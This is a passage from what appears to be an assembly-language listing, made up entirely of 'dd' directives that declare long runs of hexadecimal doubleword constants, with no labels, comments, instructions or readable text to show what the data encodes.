32E22155h, 0EC4E9A36h, 488E240Bh, 0E0828F97h dd 0AE72AF07h, 13DE1C50h, 0EF7B40C3h, 922B843Ah, 1B5883FCh dd 9BB71C2Bh, 4C2DE600h, 8DD9F7h, 9A717079h, 642397A1h dd 387A590Ah, 4D00D0B8h, 0D6E2780Fh, 0BB96008Fh, 0A2BC579Ch dd 0A103E3ACh, 99950BF1h, 0FD51C8A3h, 9B390049h, 47C088FFh dd 4C393478h, 1AC8E3h, 7C6499A4h, 2CA847Dh, 68FC7124h dd 8898C225h, 0C51CD940h, 80BF4A18h, 13B7540Fh, 4E753Dh dd 0ED8B0879h, 0D8EA8429h, 9820851Fh, 0DE433A40h, 48E9C0h dd 0CB5FE204h, 0ADFFF464h, 0DDD8B501h, 165E5CC4h, 4955D4h dd 0B0EC8F02h, 9246B610h, 0F2C46C00h, 5070FF0Ah, 4A7A4C4Bh dd 952F1600h, 3DCBB02Ch, 0E50D3700h, 179B1DC0h, 7A1400CEh dd 647D0279h, 5E00536Ah, 51E48452h, 19D5847h, 3AD1A96Bh dd 50DF9904h, 154485FCh, 0E8E8A8A3h, 0A600E0AEh, 52077A50h dd 78EF21h, 6F3673D6h, 0BF611A0Fh, 7590D500h, 95E467F8h dd 405B0346h, 704FA2E5h, 0B674C000h, 2829FA5Fh, 0D33E4C9Eh dd 4BDFE000h, 52689496h, 2E46EA00h, 0CDB28054h, 0DB3F3BC1h dd 0D485A589h, 90403807h, 98D8CA46h, 0AE8DAC00h, 0B03BCF79h dd 8A300004h, 2B5665E6h, 39E233F7h, 9875993Dh, 0BF800F14h dd 0BC460CE3h, 0C0101344h, 0A723B407h, 0B600EB15h, 21FED2Ch dd 19B76026h, 8485CCF6h, 23F821A4h, 0DE7C245Eh, 5FD69C0Fh dd 69C22058h, 71A6774h, 80EF20A2h, 4D4431F9h, 9038F8F8h dd 0DA168E04h, 949035B3h, 23F176h, 0F6066D79h, 22CAC071h dd 37FC7A07h, 0AAD38CD8h, 0D18D8005h, 0CB783018h, 66235788h dd 0F58EFD00h, 0A564EC61h, 54801E1Dh, 0CCC6000Eh, 29360BEEh dd 93268100h, 215EAFBCh, 0E13D0075h, 30D95614h, 0AE00B992h dd 776BF238h, 0F3CFBDh, 96584AF4h, 0A19447A2h, 0E2D29300h dd 0A705EB7Ch, 0AAB4002Bh, 276460E4h, 0E61FB385h, 0FF405B81h dd 0ABA36DC9h, 0E3F805h, 512B9257h, 0F88D68F3h, 0D109AFF4h dd 8F214973h, 2FE0802Ch, 77C22229h, 1B3A00C9h, 92045C61h dd 0A40041D8h, 338571A3h, 814D9Dh, 0C9F7FCC4h, 0A6C69639h dd 57004C90h, 5D0DF68Ah dd 0AB452Eh, 64CCA2EFh, 0D5AEFE7Bh, 659D7800h, 69E3817Ah dd 9BF93DA3h, 5F28AA85h, 0B0A400D6h, 8A215CA7h, 6D1128C0h dd 8FF443h, 2A4A5235h, 3C6F688h, 0FBFC4B00h, 1C91BFCBh dd 253D32C7h, 0D8402806h, 9907D711h, 0AA358DF8h, 622F470h dd 28F3F4F2h, 0FF41D7Eh, 906EDAFDh, 832A1767h, 0AA909F96h dd 0C25CA4B2h, 0ECDC30F3h, 0E666F63Ch, 1258001Ah, 0C9629373h dd 3800C334h, 0F3F510BEh, 0CB9260h, 440F79D3h, 0D10D2D85h dd 9BD09500h, 0C6929A2h, 0D38700F0h, 0A68E6FECh, 11004F4Eh dd 0F62E5088h, 60E2A167h, 0F96B9858h, 0C035114h, 741D459Eh dd 9A2EA08Ch, 0DD4F00A8h, 0BAF476F7h, 642826EBh, 0AB10A02Bh dd 5300CF7Fh, 0BB35B698h, 2748B740h, 9D2E0F88h, 0B8D3400Ah dd 498101h, 925A8BAFh, 40B121C4h, 0DB420B00h, 6F3C8894h dd 20EF0E41h, 6C0BE11h, 102236CCh, 195F1400h, 0CA82D530h dd 0F92A077Ch, 20667A71h, 3E8AD36Fh, 0E590A500h, 74BAB3E4h dd 504C4CC9h, 0E0B41000h, 0A41BECFFh, 4E13BCB8h, 9F0008FBh dd 18B62B6Dh, 0CD393D31h, 6F754600h, 38BB4289h, 68568D07h dd 0E2402650h, 67903B6h, 0C43EBFCh, 7F78E010h, 0BDAE4C00h dd 0E978CE97h, 5A0141Ch, 1E7DC00Ch, 0C0BAA293h, 0C31BDC9Ch dd 0DE76A4D9h, 0ADF04B00h, 9AA1392Ah, 873E0091h, 4DC6FF70h dd 61E76E8h, 29879692h, 0BEA00D2Ah, 7378C33h, 780767F2h dd 0C76F80D8h, 114DC392h, 860D11C4h, 73223500h, 325AF933h dd 4B71B200h, 0BB9EC424h, 2F480013h, 0EAB9FCB6h, 3F4FC92Ch dd 460005E8h, 0B7B8BFD1h, 4000DD08h, 0B1C5ED5h, 16B99CFh dd 0C557D9FCh, 0D45664CAh, 8C0FA801h, 0C09E9F90h, 26AA31F4h dd 11A20030h, 6BD6DC37h, 0F700EEEAh, 39CAF5C2h, 13341DAh dd 0A7974E8Bh, 70B0FFE1h, 48EA686Eh, 0D869B539h, 39F80F68h dd 114600F2h, 0DD1440h, 0EEDAABBh, 0C2E49E64h, 0ABBF2303h dd 0D0D03987h, 0F347218h, 0FD3EF8FEh, 42379520h, 0ED00EE1Ah dd 945E4948h, 7C19A02Fh, 0FD271F21h, 13EF0287h, 2360DAF4h dd 760028EDh, 0A87D2146h, 35E140Fh, 358A34D4h, 0A7B05056h dd 4100C3D2h, 0AEE65926h, 818CC2h, 778204D6h, 0C53FAD88h dd 78F36600h, 0E24555B4h, 908A4C0Ch, 1748190Eh, 802DD9C2h dd 0E0683662h, 7501544Eh, 0F098C16Ch, 0A0D88A62h, 0C67200E7h dd 0BFE1A646h, 0CA731E26h, 424F9100h, 0F73081EFh, 938D13F1h dd 0D51386h, 0B8D6183Eh, 0E2007C1Ah, 6DAA3743h, 1328F9Bh dd 4CEE2A6Fh, 0D4DFA52Ch, 663EC020h, 733F80C7h, 0C5F5757Bh dd 7F60B75Eh, 0AB0227F4h, 94EC893Ch, 0EBECC8C6h, 713ECC9h dd 0A75D72Eh, 0E751A1EFh, 0D34D2053h, 263EF012h, 97E6000h dd 0F1B3D9h, 7FD0323Dh, 6A5E699Ch, 0E60E9C90h, 2014DEB7h dd 361CEFF2h, 0D8235026h, 0F8C7001Ah, 0F088FB6Ah, 0F201346Dh dd 8AE548D8h, 4CF4454Eh, 94DC00EEh, 0B7078011h, 4A002572h dd 0C3732A96h, 0D5C45h, 66FF4109h, 0D7A85AEEh, 203ED7Ah dd 30AEB6EBh, 6E65F077h, 0A5B5006Ah, 25F9C2BFh, 0F20285DEh dd 0E37BA0F8h, 0B79C699Dh, 9C47C40h, 1465712Dh, 0DD9E0814h dd 0E3124A00h, 3CFB4963h, 50F94D01h, 0C695DB5Ch, 26313074h dd 80A842CDh, 0F5A43507h, 2C0044B5h, 6CBD08C4h, 0CCD815h dd 94A8F3A3h, 9DC69395h, 1257100h, 31C22FEEh, 0FFBB0281h dd 4A757DDAh, 0A415B080h, 0B000C60Ah, 5B971058h, 1E7E8102h dd 80B922F7h, 0FD8A10Ch, 49001262h, 0B24AF3F6h, 75BAD0FEh dd 0FFCE00C4h, 39B4F85Eh, 7501FC18h, 277798D9h, 0C860862Bh dd 1B7719Eh, 0EF52ED2Dh, 30D5A9B2h, 0CA0047ECh, 253972AFh dd 13D9FF91h, 0EBC7EE8Fh, 3C9FC700h, 12231Fh, 0A33690DEh dd 30AD862Ch, 0F44CD902h, 60204363h, 85E90Eh, 46DBAA87h dd 64F3CEF5h, 6FE76A00h, 8AF06842h, 0CDF40057h, 0F1C2A64Fh dd 94381E24h, 0B71E7582h, 55427823h, 0E0A1B3AEh, 0AF56A8h dd 0D25B071h, 0E7E04C2Bh, 0E3424E00h, 6EC5441Dh, 9010C1E8h dd 0F0F7CC65h, 0D902BEE4h, 0AE25059Dh, 58AC808Ch, 0B0C07A35h dd 5BDA0195h, 97E992C5h, 0F308209Eh, 0C0AC854Ch, 63823F0Ch dd 2BFB17E8h, 5330007Ah, 9F65D15Ch, 0E4C35601h, 0AA9A0234h dd 6BBFD0h, 7DCA50E2h, 9E10B247h, 70D75C00h, 0A79579D2h dd 0B4D50068h, 870681EBh, 0AE0DA49Ah, 0B8CBDFE1h, 255160h dd 0F6ED85E8h, 0E4C798E9h, 0C801AB04h, 9480DFA9h, 705BDC82h dd 9A120077h, 0F1718154h, 4000ACE6h, 0C1A1BFBh, 539A78Fh dd 788970A9h, 3F12C085h, 0E8246AB1h, 0FC00E528h, 8B551EE5h dd 0BB97004Ah, 0EDBD14C5h, 0F4006063h, 80A73B4Dh, 7C50C2D8h dd 0C611000Bh, 82380354h, 0FDF6CA17h, 83873F00h, 3097342Ch dd 93A900C9h, 28F2ECF1h, 813F186Ch, 175B3CD3h, 9C005A77h dd 5E37A6D7h, 3CA76EDh, 9AEBE730h, 0F3C0AB5Fh, 553CD1C6h dd 51CF0022h, 604E1F5h, 0DB7E013Eh, 7AC3C8F6h, 0CFB4E4C6h dd 0EFAD513h, 1D629501h, 37EB5A7h, 6C5404F1h, 52A984F8h dd 2C34F800h, 0C9EDA44Fh, 0EC9865h, 3646FF66h, 84BDD9A8h dd 0DB81FC00h, 79A40D4Dh, 8C88003Ch, 0CA10EC82h, 0D40F435Bh dd 264BAAADh, 1EC89D7Eh, 758601h, 0D994A744h, 2B071A2Ah dd 836482DCh, 0FC69D880h, 4E0003Bh, 48DE4A9Fh, 6700A4D4h dd 8F3DB087h, 1F64E2B1h, 0C08BCBE3h, 0B6467238h, 540B7507h dd 6EEEF2h, 90A0230Bh, 1D111C3Ch, 0D212DCh, 0DBC0636Fh dd 9F7D5ADAh, 2EA27B02h, 60386084h, 0C09E8ED8h, 74FB8C70h dd 7C003D37h, 0DC072252h, 0C46B280h, 8C38B0CBh, 7CF01998h dd 781C706h, 1808D754h, 2035B350h, 80751D5h, 0B480C438h dd 7A444210h, 299E00B9h, 13B7F1FBh, 2500A6E1h, 0D57C3EB6h dd 0FBCCF079h, 0F400C678h, 0DE4B4DC2h, 0DB01B71Bh, 9D29BFD4h dd 0CCE41326h, 124F0C53h, 4AB0F2BCh, 0BFEF5F50h, 0A6D90D15h dd 3A43039Ch, 0F81C42BAh, 72EC61h, 8DD00B4Bh, 2B55B17Bh dd 0F4516503h, 0E85211BBh, 4CE14E0h, 9C3567A6h, 20BA872Dh dd 3749F51Fh, 8094DF3Eh, 5F91C033h, 7FF186ADh, 61E00A7h dd 4B92355Ah, 0DB00EB01h, 0B11D71EDh, 61DFD6h, 0EADA5595h dd 0F8C2F5B6h, 7FD27950h, 38E4B01h, 0BD75C5F1h, 1221D0F1h dd 0C46FB880h, 3CBE5273h, 0C3580300h, 703AE86Ch, 50687CC1h dd 2EC91h, 212F22DCh, 79069CFEh, 5E288975h, 3300FEAAh dd 628C010Ch, 0B4830Dh, 4F96BFBEh, 2C8A18F2h, 0A978C200h dd 1F0C1538h, 92490D6h, 0AA3475E7h, 0D281A800h, 0FB0035C6h dd 0BE917882h, 92D0F797h, 0FEED7DBCh, 0EFDC0136h, 4F76666Ch dd 311DC403h, 1CE60FECh, 0C90AC90h, 5511EB00h, 34A04FDDh dd 0D69005Eh, 9D8E861Fh, 0B6F8C28Fh, 7B7F7900h, 617AE780h dd 6F3307DFh, 0F0AAEAECh, 4551D020h, 79002CEEh, 0B76D6F3h dd 797E0519h, 0DBDF5C90h, 0FA23CD00h, 0BC6B3F3Eh, 4759AA07h dd 8BA014A5h, 0F1D093h, 8FAC5745h, 7826D616h, 0F47A6700h dd 0CEBBB04Bh, 55360010h, 379A70CCh, 300B61Eh, 0A8E626FBh dd 0CE12A0h, 51603D8Bh, 5F2C79EAh, 4F5EEB01h, 4E768343h dd 0A2C84221h, 6A953BC6h, 5D40BA80h, 6B72F7Ch, 71273400h dd 125BB424h, 4470042Eh, 9074FE83h, 5CCA40B8h, 30AF841Dh dd 0D3881600h, 3CCFAAh, 0CDB0A7E0h, 2B0FEDE6h, 24C6BB00h dd 4127FA29h, 0D53901AEh dd 3666C2E2h, 0A39C43CBh, 0A8547F80h, 0EE71D001h, 2191CE0Dh dd 605CBAD7h, 80FBB6h, 3A25F08h, 0AD4A1966h, 9FD17E00h dd 0EFD20221h, 42BE0E96h, 0C7E025C6h, 0D7754E2Bh, 1C5BE426h dd 9D7FA180h, 9279564h, 4177BE3Fh, 545F8E57h, 0B9A91E84h dd 0C402CBC0h, 3A78ECh, 0C938A5C0h, 8A09205h, 0DF28300h dd 0FEE41F67h, 72FB3F75h, 0BDBE4109h, 7FC22483h, 0FC7E3580h dd 245CC00h, 5D54A2ADh, 0F5E69Dh, 2B3A2393h, 2EC0ECD9h dd 7A7EE5EEh, 0E8A12F07h, 0E4801C96h, 78E85E7h, 914AF59Ch dd 3A9300BFh, 3600270Fh, 38C6FAB1h, 378E92h, 0A7F324A6h dd 6AC5766Ch, 97E21890h, 75BE8700h, 8F19E8ADh, 0DB16014Dh dd 6F67D8FDh, 0DC51DDEFh, 7A1DD6EBh, 4644C65h, 27B9D080h dd 90687CFBh, 0C4FD002Ch, 61BF813h, 25001F2Ch, 0DF1E676h dd 523143h, 6683FBB2h, 4CD8D0EEh, 847DA106h, 88BD06h, 0AC78BF0Ch dd 0C56818ADh, 0F760E501h, 0DAD32D76h, 7A778C64h, 2379067Dh dd 383F1B43h, 0AEE45F01h, 11B996B2h, 39298880h, 157E1659h dd 8FF56606h, 0EB44957h, 20440B5Eh, 39BD8BC0h, 7C03B3F1h dd 27A6BBCAh, 1A5D80AFh, 31890077h, 134CB963h, 23029B48h dd 0F38F8DABh, 84B7E037h, 0E5110F5Fh, 2D69DDBAh, 0A6214C80h dd 0AAB84C3Bh, 80AD3000h, 0C8A5A298h, 0C440789h, 0A0FF78D0h dd 5E21AA03h, 0C04D4A31h, 4771B360h, 0FA1FF4h, 667ED1Bh dd 0B83F5A72h, 0A1A97300h, 0AA055029h, 0C83E008Bh, 4D91E4D0h dd 95037A5Fh, 27758E97h, 0E2C9A86Bh, 0EEF900A2h, 39659C8Ch dd 5F5824DBh, 0AD13006Dh, 0EC96BBEFh, 0DA8700FAh, 0FBF8419Fh dd 53902B50h, 0C0361C00h, 78A00A97h, 57653E32h, 41715280h dd 0AA68C4A9h, 0EA96BC00h, 30285808h, 69B13DB0h, 74AD5300h dd 788BD991h, 60109730h, 1DBD6D90h, 0D40FFF8Ch, 0BF00C920h dd 1BEDCA2Fh, 28002C4Ah, 0FA3B9C2Dh, 0F5E3EFh, 82662773h dd 51A1CD55h, 0B7BEFCEFh, 1344C800h, 0C9E18688h, 0C70503B3h dd 7F342AB8h, 64F514A9h, 0CD7FD990h, 0D42B2E1Ch, 0FA00B8EEh dd 610CABF0h, 86522E2Ah, 9CF907DEh, 3073F032h, 9400984Dh dd 6B38B382h, 0DB80FEh, 0A759B73Fh, 0C0A0F4ADh, 880DDD00h dd 3B738F5Ah, 0D7370744h, 801441DEh, 804C0CDh, 8D743Dh dd 154D799Ah, 6C3AFEh, 0FCDBD6C5h, 76593713h, 27261000h dd 0B1CAD15Bh, 8664006Eh, 0AA025F50h, 654CAC07h, 0A0E90094h dd 9FEDBF93h, 7C92BBh, 3C76F062h, 88A91E94h, 47DE7109h dd 0E4BC20B3h, 0B94413h, 581A7C6Ah, 99ADD64Ah, 5723BC1Ch dd 89462EC7h, 0CEB8ECD0h, 55A607B0h, 2DF606h, 42226DAAh dd 0E268BC66h, 0F38B80B0h, 0BE4A0091h, 0B00A855Bh, 83001269h dd 1CB964B2h, 0EF98D7h, 2CE1D23Ch, 0AAB8774Eh, 31B23F01h dd 8E076E23h, 817920h, 0B6DD844Fh, 791DFA2Bh, 0B75EE31Fh dd 0D8EC1905h, 2C43BBC0h, 0E53A0134h, 96BA5FF4h, 460CE8DDh dd 0AA383BE8h, 44B5807Ah, 0A67D5A19h, 0DCD15871h, 9D01AF39h dd 207214F2h, 0A996F4BFh, 23D63Dh, 8C9FE4B6h, 0CB1D7Fh dd 0E0106D88h, 3540A543h, 4938D970h, 0DFEB80CFh, 0CB134E16h dd 0B14C3C0Eh, 0C8AC9100h, 2F7B2E92h, 0FC118430h, 0C1210Ah dd 0A70C5D5Bh, 4392324Eh, 1A9B38h, 2302EBDh, 1C3ED838h dd 80A8FE75h, 0E8D236AEh, 883027B1h, 12792032h, 0E67300BFh dd 0E5872378h, 0E200CFA6h, 62C364ACh, 32ED304h, 256A8A2Ch dd 0E798A453h, 0DC00D778h, 9CCB0594h, 1F0FAB47h, 92F84B26h dd 0DDA88865h, 6AB0740Ah, 1C039018h, 0F3125E37h, 0EBBF29h dd 9D53CE20h, 96FE7994h, 296D8020h, 0FFB9E346h, 24412800h dd 0E816B7CAh, 0BF7B0718h, 507985B3h, 0CBC96239h, 6F030EFCh dd 437A5571h, 0AF70D010h, 107768Eh, 0F8F04469h, 0E82EB638h dd 590082CEh, 0D7F7EAEh, 5C57E311h, 0C280087Ch, 0A01AAB2Ch dd 9FFFA17h, 0E6AAA800h, 0A69927h, 444817B4h, 0B50C962Ah dd 0E74BFE00h, 70A2C236h, 850D003Bh, 0A919D0ADh, 7A3F649Bh dd 53050008h, 0C329F7E9h, 5791028Fh, 7E58F18Bh, 1975E740h dd 817BFC30h, 7C36FDFBh, 0F659003Dh, 4C5AC428h, 0C12CE2Ah dd 0B080A777h, 9AF1360Bh, 0B5C70F30h, 456094EDh, 4002BAF0h dd 76B09C01h, 8669CDF7h, 31F22C4h, 0C2D4C09Dh, 0A2ABBE0Fh dd 0F250ADE0h, 0CA006AF2h, 8449C37Ch, 228A0Ah, 0C7778B4Dh dd 0C2DFFFF8h, 33885103h, 0FB0A7D6Bh, 1210124h, 94591C20h dd 14C3F710h, 3F1252E0h, 5D89A200h, 0F6C9C5AFh, 647572h dd 7C4FAEC6h, 0D6AC0122h, 0FBE39F1Dh, 7591540h, 0C2947Fh dd 9D623F4Fh, 0AE84A33Dh, 0EF6BE114h, 618B34B3h, 9CFC042Bh dd 0B1763703h, 251B2EDh, 4C5F1C18h, 44C04AEEh, 0DD0F375Ch dd 1F63ED90h, 61BB007Eh, 0CF26EFC5h, 2890F91Fh, 5515845Ah dd 42692744h, 4E87183h, 8ECA2146h, 80103312h, 0B279C434h dd 8DF5445Eh, 62BF44h, 92718BC4h, 637D121Bh, 76D70072h dd 6E55F6D4h, 6F183700h, 0F99F4465h, 16800031h, 0AB6DB00Fh dd 0E2791DA5h, 2700C97Ch, 3EFA0DDFh, 0F6D0CFA9h, 0BA50032h dd 0F40CB934h, 2A009E13h, 35E5C04Dh, 0D1AAFEh, 2D728CFAh dd 71FC896Dh, 0DA9C3803h, 47F674h, 11E77EC8h, 0A45EFDCDh dd 3FA8500h, 7F42E079h, 1B3D0F81h, 3080CC7Eh, 9E31942Fh dd 9B121000h, 2A87A94Ah, 3BC10507h, 388EFA2h, 1720E5D0h dd 0DDED00EFh, 3E03834Bh, 5254F9CEh, 0E685B813h, 11046034h dd 9160C1B0h, 0C0B92903h, 82D93Bh, 37420C49h, 0F930B28Dh dd 1286222Ch, 163E2403h, 28F8C035h, 8A79E9h, 7934B9C1h dd 21EDBDEEh, 5C3BEA00h, 3E7A3847h, 0AFE03E1Dh, 0A07CB783h dd 128399F9h, 4F78D988h, 0C085CA28h, 8049693Bh, 1B9B110h dd 7F3DDFh, 7DE5C247h, 7A8023BFh, 13EA7107h, 3EF5F331h dd 344EF7C0h, 0C7C10561h, 784076Fh, 4163A8h, 2527927h dd 574A4E1Dh, 2E400EDDh, 0E5FF982Dh, 0E2621FDBh, 406684h dd 7744C96Eh, 49004753h, 42683129h, 7B1618C5h, 37090A6h dd 0EF112BB2h, 528195FBh, 0B3A8FCD0h, 0EF6910Eh, 29F608Ch dd 1994A4h, 3FB7E28Eh, 45CFCE39h, 1F426C00h, 7D95906Ah dd 9E9B322Eh, 2040D3B2h, 0D407EA45h, 0A1B5FEB7h, 0C967C3E1h dd 7E1F0CCh, 113F265Ah, 0CC682062h, 500CA980h, 0FED146B8h dd 0C6B107F0h, 57EB2FECh, 1031406Ah, 63005D50h, 0CB6B4A57h dd 3FE38C3Ah, 67801C2Ah, 1213B81Dh, 0D8F68BDCh, 93946F00h dd 45CE2686h, 3F01FCD9h, 0DC9C17C1h, 4D0C73Bh, 0F79DB056h dd 9700CFC3h, 33E89E3Ch, 178C19A9h, 0D33B3Dh, 0DB921826h dd 0E200A15Dh, 4808F803h, 4D50D41h, 2C939E58h, 8020D069h dd 10F09A2Bh, 0FB20912Eh, 3B408B1Eh, 66D67427h, 0F2D27EE8h dd 8CD40055h, 11611804h, 0CCE4EDC0h, 2AC96F0Bh, 0FFD08E4Bh dd 2023354Ch, 0C76205B7h, 738E330h, 0E0F74399h, 0CA785C2Bh dd 0B84F6000h, 596A3C2Ah, 0F5D8CF68h, 0B07A5BE7h, 0B012DE0Ah dd 0B0BD6728h, 70655C00h, 0D321F102h, 0B6F00795h, 30756D0Bh dd 3E2C6712h, 9E1FD500h, 135536CBh, 0CEF400ACh, 0A8A5299Ch dd 4C07938Fh, 0C97653Bh, 68635C30h, 0F8530044h, 0E29447B7h dd 7D093159h, 74DBFBh, 62E43D57h, 6361C1Eh, 0A9C009A3h dd 2541FC00h, 4C284AE0h, 6F00ED8Bh, 0D52E9EADh, 76CEB538h dd 9B9A0754h dd 0C182F66Ch, 71451EA3h, 9723EC07h, 0AA32D201h, 0A662BC07h dd 81F0C0h, 85B2E633h, 0D973A9B5h, 0DE071200h, 2A635FEBh dd 37C0FBEh, 0B5A2FBA7h, 0C260595Ch, 13268BD0h, 0C46074B8h dd 2623D4C2h, 71081C5h, 0E05D5E45h, 88C70667h, 0CDC26E00h dd 0ECF9030Ch, 0B9B0069h, 62DA19D1h, 0AC00A6DCh, 6AE49EB5h dd 7F9AF72h, 3BD5BF70h, 0BA3E6006h, 81307C9Dh, 2D74A052h dd 9A850069h, 70AD1960h, 75003EE0h, 47DC40AEh, 90B418EBh dd 10F400A8h, 92CA8CBCh, 4F00C66Fh, 200544CDh, 71653Ah dd 27477BD5h, 64993A6h, 0E5546A00h, 0DCFB9775h, 5A7936h dd 8EB4F162h, 0ED0D9269h, 0D13AC200h, 3B2A4A1Eh, 0F2D50336h dd 9C4CFAF1h, 0BC879ED2h, 0A04727C2h, 27B2EA0Dh, 0A5A8DCE5h dd 0FC8FF100h, 17AC4CA1h, 44660063h, 0EAE5DCD8h, 7E010C19h dd 1EED9479h, 57C0C6D0h, 748B00DFh, 0CF1CF4D5h, 0B800AA6Eh dd 3A34A266h, 7FA893Ch, 132CCBBBh, 0C74504CDh, 9E41FF50h dd 0F025AC22h, 6500C181h, 67EFDF6h, 0AF3B90h, 8494552Fh dd 69B85EC9h, 9E367000h, 0D11F3580h, 61D900F3h, 0A86F5C57h dd 0DF20B80Eh, 1A550012h, 549E8DBDh, 4900F131h, 84F244EFh dd 172359h, 70B00296h, 715D280Eh, 0E09F6300h, 6ED8A20h dd 2A8903Eh, 0FBB57AB9h, 0FC807E2Fh, 41DA02F4h, 67009DE6h dd 0C547C625h, 4E7DCB0h, 9034F5EBh, 40C5C5C3h, 87052C34h dd 0C7092303h, 20D947C0h, 0B719D888h, 0AB170082h, 46BB9325h dd 620757CCh, 146F83D5h, 5E595BC0h, 9579003Bh, 0CADB6940h dd 403562Ch, 78537DF9h, 7B5C9818h, 2E953C1Ch, 96268F40h dd 0E000A86Bh, 0D4E107C4h, 0AAAF0058h, 8E0B4565h, 9D48ABB0h dd 76D01B8h, 768A0CE8h, 13ACADCCh, 0B7F326h, 7E4CCAF1h dd 44007FFDh, 0CFD5880Dh, 1DDAABh, 8912B435h, 0E8C76FECh dd 52437702h, 0C00BE740h, 0E2BE545h, 0C121AA8Ah, 0BDA0ABEFh dd 7C89BC48h, 0B3B703Eh, 8E15DC4Ch, 2A99A0C8h, 2C5EC113h dd 0F182C36h, 0B9C03FAEh, 0C60D3EDBh, 568CF01Ch, 0C402AFD6h dd 61E98A59h, 4DC00938h, 77DB1E17h, 1A08F898h, 8E3C5128h dd 601F1826h, 0B106BFA8h, 8C0A266Fh, 0F33000E4h, 43A93710h dd 3CF64902h, 80A66A5Bh, 0B30AB1F8h, 9988C0BFh, 5C8CD133h dd 51720C1Fh, 8CCAC00h, 5FB423h, 0A94540A7h, 53E4BB60h dd 4C4D042Eh, 0FA0C9400h, 0BA01C5h, 2745F449h, 32626529h dd 80988F3Ah, 0CE11FFB7h, 901B6FC1h, 0F9460000h, 9D920271h dd 8A260D95h, 91007EA0h, 30B6DE65h, 3D3B0058h, 8F77D3E2h dd 0BD000A2Fh, 0EE4E9D9Ch, 3391BD6h, 0AC125E5Bh, 0E0D0EDD1h dd 0DF03A1E1h, 5F6E3B33h, 7CFD80D6h, 5A9A0013h, 99931CECh dd 6A0098BAh, 0FAF65F0Bh, 442054h, 0D219502Ah, 64164936h dd 41E83100h, 0B1A09B5Ch, 56700E2h, 8DB792F1h, 4FF663FFh dd 0F7EEB8A0h, 39008A90h, 0DEC51F91h, 469627Bh, 0C09AF2EDh dd 1864A03Ah, 0EC1D2500h, 91E3CB46h, 0D9E9250Ch, 49EB5820h dd 4201C5CAh, 8184831Ah, 71D80932h, 1E09AB6h, 0A375D2D5h dd 70671EBAh, 2700AF9Ch, 821FEACDh, 3C0CF9C1h, 0F01B11h dd 0DB03FA1Dh, 96ECB0DCh, 4BA6CB14h, 26A03BE4h, 3C016A07h dd 0B88D5517h, 0C062DA42h, 0E64FF3F4h, 0BAFB50D3h, 696D001Ch dd 0EBFEB8D2h, 8601D04Bh, 10E7A028h, 0F8209C29h, 9A430087h dd 0ABCF30Ch, 6000A1F1h, 59E28F6h, 4CCAA64Ah, 840020F0h dd 37407C8Eh, 523D610Fh, 3CBB030Dh, 0A03B4A1Ah, 0D025EDh dd 6ECA8822h, 6AAD9F51h, 7256EE00h, 2A6A198h, 3C2B0040h dd 0D227C987h, 5031E06Fh, 3E1CB860h, 37FA472h, 3B71F20Ch dd 12A932C7h, 0F35020F5h, 0C5365506h, 10ED53h, 20B05160h dd 3BC0A2BBh, 87E6A925h, 17B01C98h, 981EF2B2h, 809C804Ah dd 0C250070h, 946B5C5Dh, 5498A0F6h, 1B79D1E8h, 0FD77130Fh dd 0FB8C60BCh, 1952CE1h, 3BBB1EBDh, 9063320Dh, 0A71CA9A8h dd 4AB24D92h, 267DC488h, 81CCE200h, 22996994h, 2164007Bh dd 6FB34E28h, 9750865Eh, 4F00B881h, 90419948h, 3C5C06h dd 36268B40h, 8CA34357h, 6E7D9E01h, 18690ED2h, 732A49E4h dd 0DADE0030h, 2D1EABECh, 9CF45480h, 5EFB700h, 8535E623h dd 0A4270079h, 252BEA6Fh, 7A006EC0h, 8804551Dh, 0E679CBD3h dd 3EC7251h, 0AA361FF8h, 38D83F54h, 4D072595h, 0A2029C19h dd 0CF926170h, 0F9173A12h, 4A74AD80h, 0B651507Ah, 6D24FD00h dd 0B507537Ch, 383A0E6Fh, 1BDA998h, 133B9118h, 0E694D014h dd 0C501B3E2h, 86CEC096h, 0CDFC2853h, 327C00C3h, 0F3C7DCF0h dd 0E000EB8Bh, 0F99D4CB0h, 3AB4DAADh, 0B200942Ch, 0E48023F6h dd 0E203F2C6h, 9716A75h, 3F7CD878h, 690F00FBh, 0B58808D0h dd 15000547h, 93387E8Bh, 68459Ah, 76D00291h, 0CAE05158h dd 0BA796200h, 2EB30622h, 0D596000Ah, 94C1CFEDh, 0B6006A8Dh dd 0B9271245h, 1C67AD99h, 0C0E044DBh, 751F326Bh, 8700143Bh dd 71C6F562h, 0A55A1Eh, 0B953BD48h, 819E04A3h, 0F78E1600h dd 0E0BCC998h, 6D8D00D8h, 528F0ECEh, 200348B1h, 0ED68B9D3h dd 355BB06Eh, 0D77F03D5h, 0D8A4BCD6h, 3D322AF0h, 14FBEF00h dd 5F2FC70Fh, 0D3701FACh, 6AB4C047h, 4FE7850Eh, 61DDC800h dd 0F514939Bh, 47CC2C30h, 27AA0084h, 0D567BACAh, 0FD971700h dd 0DF5363BEh, 98360184h, 1DE416C0h, 17AD403Ah, 0B90065F6h dd 9766E8D7h, 142B2DC4h, 0B3059FC3h, 0FBC01A1Eh, 9D033800h dd 7E434ED4h, 1863B00h, 0B28880D8h, 0B7CC0048h, 4B6069ADh dd 0A3CD742h, 5A9F0008h, 871201E7h, 0DF3A002Dh, 41D28A03h dd 0C800DD9Dh, 1C1B5D13h, 543004h, 0C1A857DEh, 38781A05h dd 1F00E1F4h, 0AA67ED86h, 63CEFAh, 32698FA6h, 5DC30517h dd 0D0BBC538h, 2B3927C0h, 0CDD6049Eh, 45C418CEh, 26DBCC20h dd 8E9032h, 0E03AACEBh, 7978CF1h, 0E14B2400h, 909A2E2Ah dd 87765Ah, 32119B03h, 0BCE5336Eh, 0A499C200h, 205CE6B2h dd 0FF840718h, 70AAF50Ah, 85FB1910h, 9936C500h, 38A5CEC3h dd 22D20AA8h, 2AB033F8h, 74E000B0h, 0E1F6884Bh, 0B17BA5FBh dd 99AE3550h, 6D96C200h, 2D393BB2h, 2F6500A2h, 1CCAFB8Ah dd 7C7F4155h, 46850C04h, 2B83AD1Bh, 935EA8FDh, 0D4F450F6h dd 183D0E87h, 14E365Bh, 0FE0DF260h, 9F38C02Fh, 0B38C8h dd 8E805854h, 4CDF9419h, 1E00AFBAh, 645F6C4h, 0BE0A2457h dd 9C4C5879h, 0B03DD700h, 3D21A159h, 7ED2DFh, 4B90437Ah dd 3C22B76Fh, 337B3D0Eh, 0C2C15D09h, 9B491E13h, 0D5020h dd 7B3B266Dh, 5D2F4C55h, 0A0972200h, 12025C36h, 6135001Ch dd 0FE43BC4h, 0BEFCE186h, 3627AB05h, 0DA00C196h, 